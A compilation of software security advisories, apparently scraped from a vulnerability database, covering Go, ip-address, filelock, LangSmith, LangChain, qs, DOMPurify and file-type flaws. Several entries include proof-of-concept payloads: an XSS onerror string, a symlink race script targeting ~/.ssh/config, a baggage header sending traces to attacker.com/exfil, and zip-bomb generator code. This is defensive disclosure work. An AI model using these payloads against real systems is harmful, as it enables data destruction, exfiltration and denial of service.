Escaper bypass leads to XSS in html/template
Calling any of the Parse functions on Go source code which contains deeply nested literals can cause a panic due to stack exhaustion.
Extremely large RSA keys in certificate chains can cause a client/server to expend significant CPU time verifying signatures. With fix, the size of RSA keys transmitted during handshakes is restricted to <= 8192 bits. Based on a survey of publicly trusted RSA keys, there are currently only three certificates in circulation with keys larger than this, and all three appear to be test certificates that are not actively deployed. It is possible there are larger keys in use in private PKIs, but we target the web PKI, so causing breakage here in the interests of increasing the default safety of users of crypto/tls seems reasonable.
Last updated 14 November 2024
HTTP Proxy bypass using IPv6 Zone IDs in golang.org/x/net
Golang Go is vulnerable to cross-site scripting, caused by improper validation of user-supplied input by the html/template package. A remote attacker could exploit this vulnerability using a specially crafted URL to execute script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials.
Golang Go could provide weaker than expected security, caused by the failure to correctly detect reserved device names in some cases by the IsLocal function in the filepath package. An attacker could exploit this vulnerability to report "COM1", and reserved names "COM" and "LPT" followed by superscript 1, 2, or 3 as local.
Golang Go is vulnerable to cross-site scripting, caused by improper validation of user-supplied input by the html/template package. A remote attacker could exploit this vulnerability using a specially crafted URL to execute script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials.
A malicious HTTP sender can use chunk extensions to cause a receiver reading from a request or response body to read many more bytes from the network than are in the body. A malicious HTTP client can further exploit this to cause a server to automatically read a large amount of data (up to about 1GiB) when a handler fails to read the entire body of a request. Chunk extensions are a little-used HTTP feature which permit including additional metadata in a request or response body sent using the chunked encoding. The net/http chunked encoding reader discards this metadata. A sender can exploit this by inserting a large metadata segment with each byte transferred. The chunk reader now produces an error if the ratio of real body to encoded bytes grows too small.
Bypass of meta content URL escaping causes XSS in html/template
Summary
Address6.group() and Address6.link() do not HTML-escape attacker-controlled content before embedding it in the HTML strings they return, and AddressError.parseMessage (emitted by the Address6 constructor for invalid input) can contain unescaped attacker-controlled content in one branch. An application that (1) passes untrusted input to Address6 and (2) renders the output of these methods, or the thrown error's parseMessage, as HTML (e.g. via innerHTML) is vulnerable to cross-site scripting. A related issue in v6.helpers.spanAll() produced malformed markup but was not exploitable; it is hardened in the same release for consistency.
Details
Four related issues were identified and fixed together:
1. Address6.group(): zone ID injection. The Address6 constructor stores the raw input (including any IPv6 zone ID) in this.address before zone stripping. group() then passed this.address to helpers.simpleGroup(), which wrapped each :-separated segment in a <span> element without HTML-escaping the content. A zone ID containing HTML markup was embedded verbatim. 2. Address6.link({ prefix, className }): attribute-value injection. link() concatenated user-supplied prefix and className into the href="…" and class="…" attributes without escaping. A caller passing untrusted content through these options could inject event handlers (e.g. onmouseover) and achieve XSS. 3. Address6 constructor: leading-zero IPv4 error path. The leading-zero branch in parse4in6() built AddressError.parseMessage by concatenating the raw address through String.replace(). Because parse4in6() runs before the bad-character check, any characters in the groups preceding the IPv4 suffix flowed into the error's HTML unescaped. Consumers who render parseMessage as HTML (its documented purpose — it already contains <span class="parse-error"> markup) could be XSS'd by a crafted input such as <img src=x onerror=alert(1)>:10.0.01.1. 4. v6.helpers.spanAll(): attribute-value injection (defense in depth). spanAll() embedded each character of its input into a class="digit value-${n} …" attribute without escaping. Because split('') limits n to a single character this was not exploitable in practice, but it produced malformed markup and is fixed for consistency.
Affected Versions
All versions up to and including 10.1.0.
Patched Version
10.1.1.
Impact
Real-world exposure is believed to be extremely limited. Analysis of all 425 dependent npm packages as well as GitHub code search found zero consumers of group(), link(), or spanAll(): these HTML-emitting surfaces appear to be unused across published npm packages and public repositories. Applications using only the address-parsing and comparison APIs (isValid, correctForm, isInSubnet, bigInt, etc.) are not affected.
Consumers who do render the output of group(), link(), spanAll(), or AddressError.parseMessage as HTML against untrusted input should upgrade.
PoC
javascript const { Address6 } = require('ip-address'); const addr = new Address6('fe80::1%<img src=x onerror=alert(1)>'); document.body.innerHTML = addr.group(); // fires the onerror handler in 10.1.0
Workarounds
If users cannot upgrade immediately:
- Do not pass untrusted input to the Address6 constructor, or - Never render the output of group(), link(), or spanAll(), nor the parseMessage field of any thrown AddressError, as HTML; treat these values as text only, or run them through DOMPurify before inserting into the DOM (DOMPurify's default configuration preserves the library's intended <span> wrapping while stripping any injected event handlers), or - Validate input with Address6.isValid() and reject anything that contains a zone identifier (a % character) or characters outside [0-9a-fA-F:/] before passing it to the constructor.
Lack of separate CVEs
Given the evidence that these methods are not used, and given that they are all of the same construction, maintainers do not think it's relevant or useful to create a separate CVE for each library method.
Credit
ip-address thanks @scovetta for reporting this issue.
tar.Reader can allocate an unbounded amount of memory when reading a maliciously-crafted archive containing a large number of sparse regions encoded in the "old GNU sparse map" format.
ReverseProxy can forward queries containing parameters not visible to Rewrite functions. When used with a Rewrite function, or a Director function which parses query parameters, ReverseProxy sanitizes the forwarded request to remove query parameters which are not parsed by url.ParseQuery. ReverseProxy does not take ParseQuery's limit on the total number of query parameters (controlled by GODEBUG=urlmaxqueryparams=N) into account. This can permit ReverseProxy to forward a request containing a query parameter that is not visible to the Rewrite function. For example, the query "a1=x&a2=x&...&a10000=x&hidden=y" can forward the parameter "hidden=y" while hiding it from the proxy's Rewrite function.
Incorrect forwarding of sensitive headers and cookies on HTTP redirect in net/http
Insufficient sanitization of Host header in net/http
Errors returned from JSON marshaling may break template escaping in html/template
A certificate with a URI which has a IPv6 address with a zone ID may incorrectly satisfy a URI name constraint that applies to the certificate chain.
Certificates containing URIs are not permitted in the web PKI, so this only affects users of private PKIs which make use of URIs.
A flaw was found in net/http/httputil golang package. When httputil.ReverseProxy.ServeHTTP is called with a Request.Header map containing a nil value for the X-Forwarded-For header, ReverseProxy could set the client IP incorrectly. This issue may affect confidentiality.
Last updated 14 November 2024
IBM Concert 1.0.0 through 2.3.1 could allow a remote attacker to perform unauthorized actions using man in the middle techniques due to improper certificate validation.
Impact
A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with OTRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.
Who is impacted:
All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:
- virtualenv users: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - PyTorch users: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - poetry/tox users: through using virtualenv or filelock on their own.
Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.
Patches
Fixed in version 3.20.1.
Unix/Linux/macOS fix: Added ONOFOLLOW flag to os.open() in UnixFileLock.\acquire() to prevent symlink following.
Windows fix: Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\acquire().
Users should upgrade to filelock 3.20.1 or later immediately.
Workarounds
If immediate upgrade is not possible:
1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications
Warning: These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.
Technical Details: How the Exploit Works
The Vulnerable Code Pattern
Unix/Linux/macOS (src/filelock/unix.py:39-44):
python def acquire(self) -> None: ensuredirectoryexists(self.lockfile) openflags = os.ORDWR | os.OTRUNC # (1) Prepare to truncate if not Path(self.lockfile).exists(): # (2) CHECK: Does file exist? openflags |= os.OCREAT fd = os.open(self.lockfile, openflags, ...) # (3) USE: Open and truncate
Windows (src/filelock/windows.py:19-28):
python def acquire(self) -> None: raiseonnotwritablefile(self.lockfile) # (1) Check writability ensuredirectoryexists(self.lockfile) flags = os.ORDWR | os.OCREAT | os.OTRUNC # (2) Prepare to truncate fd = os.open(self.lockfile, flags, ...) # (3) Open and truncate
The Race Window
The vulnerability exists in the gap between operations:
Unix variant:
Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lockfile exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victimfile T3 Open lockfile with OTRUNC → Follows symlink → Opens victimfile → Truncates victimfile to 0 bytes! ☠️
Windows variant:
Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lockfile writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victimfile T3 Open lockfile with OTRUNC → Follows symlink/junction → Opens victimfile → Truncates victimfile to 0 bytes! ☠️
Step-by-Step Attack Flow
1. Attacker Setup:
python Attacker identifies target application using filelock lockpath = "/tmp/myapp.lock" # Predictable lock path victimfile = "/home/victim/.ssh/config" # High-value target
2. Attacker Creates Race Condition:
python import os import threading
def attackerthread(): # Remove any existing lock file try: os.unlink(lockpath) except FileNotFoundError: pass
# Create symlink pointing to victim file os.symlink(victimfile, lockpath) print(f"[Attacker] Created: {lockpath} → {victimfile}")
Launch attack threading.Thread(target=attackerthread).start()
3. Victim Application Runs:
python from filelock import UnixFileLock
Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE At this point, /home/victim/.ssh/config is now 0 bytes!
4. What Happens Inside os.open():
On Unix systems, when os.open() is called:
c // Linux kernel behavior (simplified) int open(const char pathname, int flags) { struct file f = pathlookup(pathname); // Resolves symlinks by default!
if (flags & OTRUNC) { truncatefile(f); // ← Truncates the TARGET of the symlink }
return filedescriptor; }
Without ONOFOLLOW flag, the kernel follows the symlink and truncates the target file.
Why the Attack Succeeds Reliably
Timing Characteristics:
- Check operation (Path.exists()): ~100-500 nanoseconds - Symlink creation (os.symlink()): ~1-10 microseconds - Race window: ~1-5 microseconds (very small but exploitable) - Thread scheduling quantum: ~1-10 milliseconds
Success factors:
1. Tight loop: Running attack in a loop hits the race window within 1-3 attempts 2. CPU scheduling: Modern OS thread schedulers frequently context-switch during I/O operations 3. No synchronization: No atomic file creation prevents the race 4. Symlink speed: Creating symlinks is extremely fast (metadata-only operation)
Real-World Attack Scenarios
Scenario 1: virtualenv Exploitation
python Victim runs: python -m venv /tmp/myenv Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")
Result: /home/victim/.bashrc overwritten with: home = /usr/bin/python3 include-system-site-packages = false version = 3.11.2 ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
Scenario 2: PyTorch Cache Poisoning
python Victim runs: import torch PyTorch checks CPU capabilities, uses filelock on cache Attacker racing to create: os.symlink("/home/victim/.torch/compiledmodel.pt", "/home/victim/.cache/torch/cpuisacheck.lock")
Result: Trained ML model checkpoint truncated to 0 bytes Impact: Weeks of training lost, ML pipeline DoS
Why Standard Defenses Don't Help
File permissions don't prevent this:
- Attacker doesn't need write access to victimfile - os.open() with OTRUNC follows symlinks using the victim's permissions - The victim process truncates its own file
Directory permissions help but aren't always feasible:
- Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories
File locking doesn't prevent this:
- The truncation happens during the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks
Exploitation Proof-of-Concept Results
From empirical testing with the provided PoCs:
Simple Direct Attack (filelocksimplepoc.py):
- Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms
virtualenv Attack (weaponizedvirtualenv.py):
- Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents
PyTorch Attack (weaponizedpytorch.py):
- Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining
Discovered and reported by: George Tsigourakos (@tsigouris007)
Summary
The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary apiurl values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.
---
Description
When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.fromheaders() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including apiurl and apikey fields.
Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.
---
Attack Vector
1. Attacker sends an HTTP request to a vulnerable service with a malicious baggage header: baggage: langsmith-replicas=[{"apiurl":"https://attacker.com/exfil","projectname":"x"}]
2. The service parses the header via RunTree.fromheaders(), storing the attacker's URL
3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to https://attacker.com/exfil
---
Impact
- Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers - SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services
---
Affected Use Cases
Applications are vulnerable if they: - Use TracingMiddleware to automatically propagate tracing context - Call RunTree.fromheaders() / RunTree.fromHeaders() with untrusted HTTP headers
---
Remediation
Update to the patched versions: - Python: pip install langsmith>=0.6.3 - JavaScript: npm install langsmith@>=0.4.6
The fix filters incoming replica configurations to an allowlist of safe fields, removing apiurl, apikey, and other credential fields.
---
Workarounds
If unable to upgrade immediately: - Strip or validate the baggage header before passing to fromheaders() - Do not use TracingMiddleware with untrusted traffic
Description
The RecursiveUrlLoader class in @langchain/community is a web crawler that recursively follows links from a starting URL. Its preventOutside option (enabled by default) is intended to restrict crawling to the same site as the base URL.
The implementation used String.startsWith() to compare URLs, which does not perform semantic URL validation. An attacker who controls content on a crawled page could include links to domains that share a string prefix with the target (e.g., https://example.com.attacker.com passes a startsWith check against https://example.com), causing the crawler to follow links to attacker-controlled or internal infrastructure.
Additionally, the crawler performed no validation against private or reserved IP addresses. A crawled page could include links targeting cloud metadata services (169.254.169.254), localhost, or RFC 1918 addresses, and the crawler would fetch them without restriction.
Impact
An attacker who can influence the content of a page being crawled (e.g., by placing a link on a public-facing page, forum, or user-generated content) could cause the crawler to:
- Fetch cloud instance metadata (AWS, GCP, Azure), potentially exposing IAM credentials and session tokens - Access internal services on private networks (10.x, 172.16.x, 192.168.x) - Connect to localhost services - Exfiltrate response data via attacker-controlled redirect chains
This is exploitable in any environment where RecursiveUrlLoader runs on infrastructure with access to cloud metadata or internal services — which includes most cloud-hosted deployments.
Resolution
Two changes were made:
1. Origin comparison replaced. The startsWith check was replaced with a strict origin comparison using the URL API (new URL(link).origin === new URL(baseUrl).origin). This correctly validates scheme, hostname, and port as a unit, preventing subdomain-based bypasses.
2. SSRF validation added to all fetch operations. A new URL validation module (@langchain/core/utils/ssrf) was introduced and applied before every outbound fetch in the crawler. This blocks requests to: - Cloud metadata endpoints: 169.254.169.254, 169.254.170.2, 100.100.100.200, metadata.google.internal, and related hostnames - Private IP ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.0.0/16 - IPv6 equivalents: ::1, fc00::/7, fe80::/10 - Non-HTTP/HTTPS schemes (file:, ftp:, javascript:, etc.)
Cloud metadata endpoints are unconditionally blocked and cannot be overridden.
Workarounds
Users who cannot upgrade immediately should avoid using RecursiveUrlLoader on untrusted or user-influenced content, or should run the crawler in a network environment without access to cloud metadata or internal services.
Summary The arrayLimit option in qs does not enforce limits for comma-separated values when comma: true is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284).
Details When the comma option is set to true (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., ?param=a,b,c becomes ['a', 'b', 'c']). However, the limit check for arrayLimit (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in parseArrayValue, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation.
Vulnerable code (lib/parse.js: lines ~40-50): js if (val && typeof val === 'string' && options.comma && val.indexOf(',') -1) { return val.split(','); }
if (options.throwOnLimitExceeded && currentArrayLength = options.arrayLimit) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); }
return val; The split(',') returns the array immediately, skipping the subsequent limit check. Downstream merging via utils.combine does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., ?param=,,,,,,,,...), allocating massive arrays in memory without triggering limits. It bypasses the intent of arrayLimit, which is enforced correctly for indexed (a[0]=) and bracket (a[]=) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p).
PoC Test 1 - Basic bypass: npm install qs
js const qs = require('qs');
const payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5) const options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };
try { const result = qs.parse(payload, options); console.log(result.a.length); // Outputs: 26 (bypass successful) } catch (e) { console.log('Limit enforced:', e.message); // Not thrown } Configuration: - comma: true - arrayLimit: 5 - throwOnLimitExceeded: true
Expected: Throws "Array limit exceeded" error. Actual: Parses successfully, creating an array of length 26.
Impact Denial of Service (DoS) via memory exhaustion.
Versions of the package markdown-it from 13.0.0 and before 14.1.1 are vulnerable to Regular Expression Denial of Service (ReDoS) due to the use of the regex /\+$/ in the linkify function. An attacker can supply a long sequence of characters followed by a non-matching character, which triggers excessive backtracking and may lead to a denial-of-service condition.
DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in commit 2726c74, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the SAFEFORXML regex. Attackers can include payloads like /noscriptimg src=x onerror=alert(1) in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.
DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFEFORXML regex. Attackers can include closing rawtext tags like /textarea in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.
Impact A denial of service vulnerability exists in the ASF (WMV/WMA) file type detection parser. When parsing a crafted input where an ASF sub-header has a size field of zero, the parser enters an infinite loop. The payload value becomes negative (-24), causing tokenizer.ignore(payload) to move the read position backwards, so the same sub-header is read repeatedly forever.
Any application that uses file-type to detect the type of untrusted/attacker-controlled input is affected. An attacker can stall the Node.js event loop with a 55-byte payload.
Patches Fixed in version 21.3.1. Users should upgrade to >= 21.3.1.
Workarounds Validate or limit the size of input buffers before passing them to file-type, or run file type detection in a worker thread with a timeout.
References - Fix commit: 319abf871b50ba2fa221b4a7050059f1ae096f4f
Reporter
crnkovic@lokvica.com
Summary
A crafted ZIP file can trigger excessive memory growth during type detection in file-type when using fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile().
In affected versions, the ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause file-type to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. In testing on file-type 21.3.1, a ZIP of about 255 KB caused about 257 MB of RSS growth during fileTypeFromBuffer().
This is an availability issue. Applications that use these APIs on untrusted uploads can be forced to consume large amounts of memory and may become slow or crash.
Root Cause
The ZIP detection logic applied different limits depending on whether the tokenizer had a known file size.
For stream inputs, ZIP probing was bounded by maximumZipEntrySizeInBytes (1 MiB). For known-size inputs such as buffers, blobs, and files, the code instead used Number.MAXSAFEINTEGER in two relevant places:
js const maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer) ? maximumZipEntrySizeInBytes : Number.MAXSAFEINTEGER;
and:
js const maximumLength = hasUnknownFileSize(this.tokenizer) ? maximumZipEntrySizeInBytes : Number.MAXSAFEINTEGER;
Together, these checks allowed a crafted ZIP to bypass the intended inflate limit for known-size APIs and force large decompression during detection of entries such as [ContentTypes].xml.
Proof of Concept
js import {fileTypeFromBuffer} from 'file-type'; import archiver from 'archiver'; import {Writable} from 'node:stream';
async function createZipBomb(sizeInMegabytes) { return new Promise((resolve, reject) => { const chunks = []; const writable = new Writable({ write(chunk, encoding, callback) { chunks.push(chunk); callback(); }, });
const archive = archiver('zip', {zlib: {level: 9}}); archive.pipe(writable); writable.on('finish', () => { resolve(Buffer.concat(chunks)); }); archive.on('error', reject);
const xmlPrefix = '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'; const padding = Buffer.alloc(sizeInMegabytes 1024 1024 - xmlPrefix.length, 0x20); archive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: '[ContentTypes].xml'}); archive.finalize(); }); }
const zip = await createZipBomb(256); console.log('ZIP size (KB):', (zip.length / 1024).toFixed(0));
const before = process.memoryUsage().rss; await fileTypeFromBuffer(zip); const after = process.memoryUsage().rss;
console.log('RSS growth (MB):', ((after - before) / 1024 / 1024).toFixed(0));
Observed on file-type 21.3.1: - ZIP size: about 255 KB - RSS growth during detection: about 257 MB
Affected APIs
Affected: - fileTypeFromBuffer() - fileTypeFromBlob() - fileTypeFromFile()
Not affected: - fileTypeFromStream(), which already enforced the ZIP inflate limit for unknown-size inputs
Impact
Applications that inspect untrusted uploads with fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile() can be forced to consume excessive memory during ZIP-based type detection. This can degrade service or lead to process termination in memory-constrained environments.
Cause
The issue was introduced in 399b0f1
Impact
When using multiple wildcards, combined with at least one parameter, a regular expression can be generated that is vulnerable to ReDoS. This backtracking vulnerability requires the second wildcard to be somewhere other than the end of the path.
Unsafe examples:
/foo-bar-:baz /a-:b-c-:d /x/a-:b/c/y
Safe examples:
/foo-:bar /foo-:bar-baz
Patches
Upgrade to version 8.4.0.
Workarounds
If developers are using multiple wildcard parameters, they can check the regex output with a tool such as https://makenowjust-labs.github.io/recheck/playground/ to confirm whether a path is vulnerable.